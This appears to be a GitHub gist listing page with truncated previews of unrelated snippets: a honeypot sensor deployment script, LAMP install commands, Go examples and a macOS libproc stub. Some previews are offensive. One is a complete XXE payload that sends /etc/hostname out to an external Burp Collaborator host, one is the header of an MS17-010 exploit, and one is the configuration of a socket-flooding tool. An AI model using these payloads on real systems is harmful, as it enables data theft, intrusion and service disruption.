This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| curl $server_url/static/dionaea.conf | |
| curl $server_url/api/sensor/ > /tmp/deploy.json | |
| wget $server_url/static/registration.txt -O registration.sh | |
| chmod 755 registration.sh | |
| # hpfeeds info | |
| export HPF_HOST=$(echo $server_url | sed 's#^http://##; s#^https://##; s#/.*$##; s/:.*$//') | |
| export HPF_PORT="10000" | |
| export HPF_IDENT=$(python -c 'import json;obj=json.load(file("/tmp/deploy.json"));print obj["identifier"]') | |
| export HPF_SECRET=$(python -c 'import json;obj=json.load(file("/tmp/deploy.json"));print obj["secret"]') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo apt-get install apache2 | |
| sudo apt-get install mysql-server | |
| sudo apt-get install php5 | |
| sudo apt-get install php5-mysql |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| from impacket import smb, smbconnection | |
| from mysmb import MYSMB | |
| from struct import pack, unpack, unpack_from | |
| import sys | |
| import socket | |
| import time | |
| ''' | |
| MS17-010 exploit for Windows 2000 and later by sleepya |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!ENTITY % file SYSTEM "file:///etc/hostname"> | |
| <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://zadriffjsre35r3pumup3pij6ac10q.burpcollaborator.net/?x=%file;'>"> | |
| %eval; | |
| %exfiltrate; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import "fmt" | |
| import "time" | |
| // These workers will receive work on the `jobs` channel and send the corresponding | |
| // results on `results`. We'll sleep a second per job to simulate an expensive task. | |
| func worker(id int, jobs <-chan int, results chan<- int) { | |
| for j := range jobs { | |
| fmt.Println("worker", id, "started job", j) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| func RemoveDuplicates(input *[]string) { | |
| found := make(map[string]bool) | |
| var unique []string | |
| for _, val := range *input { | |
| if found[val] == false { | |
| found[val] = true | |
| unique = append(unique, val) | |
| } | |
| } | |
| *input = unique |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| ) | |
| func main() { | |
| numGenerator := generator() | |
| for i := 0; i < 5; i++ { | |
| fmt.Print(numGenerator(), "\t") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const net = require('net') | |
| const opts = { | |
| host: 'localhost', | |
| port: 1234, | |
| sockets: 2000, | |
| respawn: false, | |
| rate: 600, | |
| method: 'GET', | |
| path: '/' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var r Response | |
| if err := json.NewDecoder(resp.Body).Decode(&r); err != nil { | |
| log.Fatalln(err) | |
| } | |
| fmt.Printf("%v", &r) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // +build darwin | |
| package main | |
| // #include <libproc.h> | |
| // #include <stdlib.h> | |
| // #include <errno.h> | |
| import "C" | |
| import ( | |
| "fmt" |
OlderNewer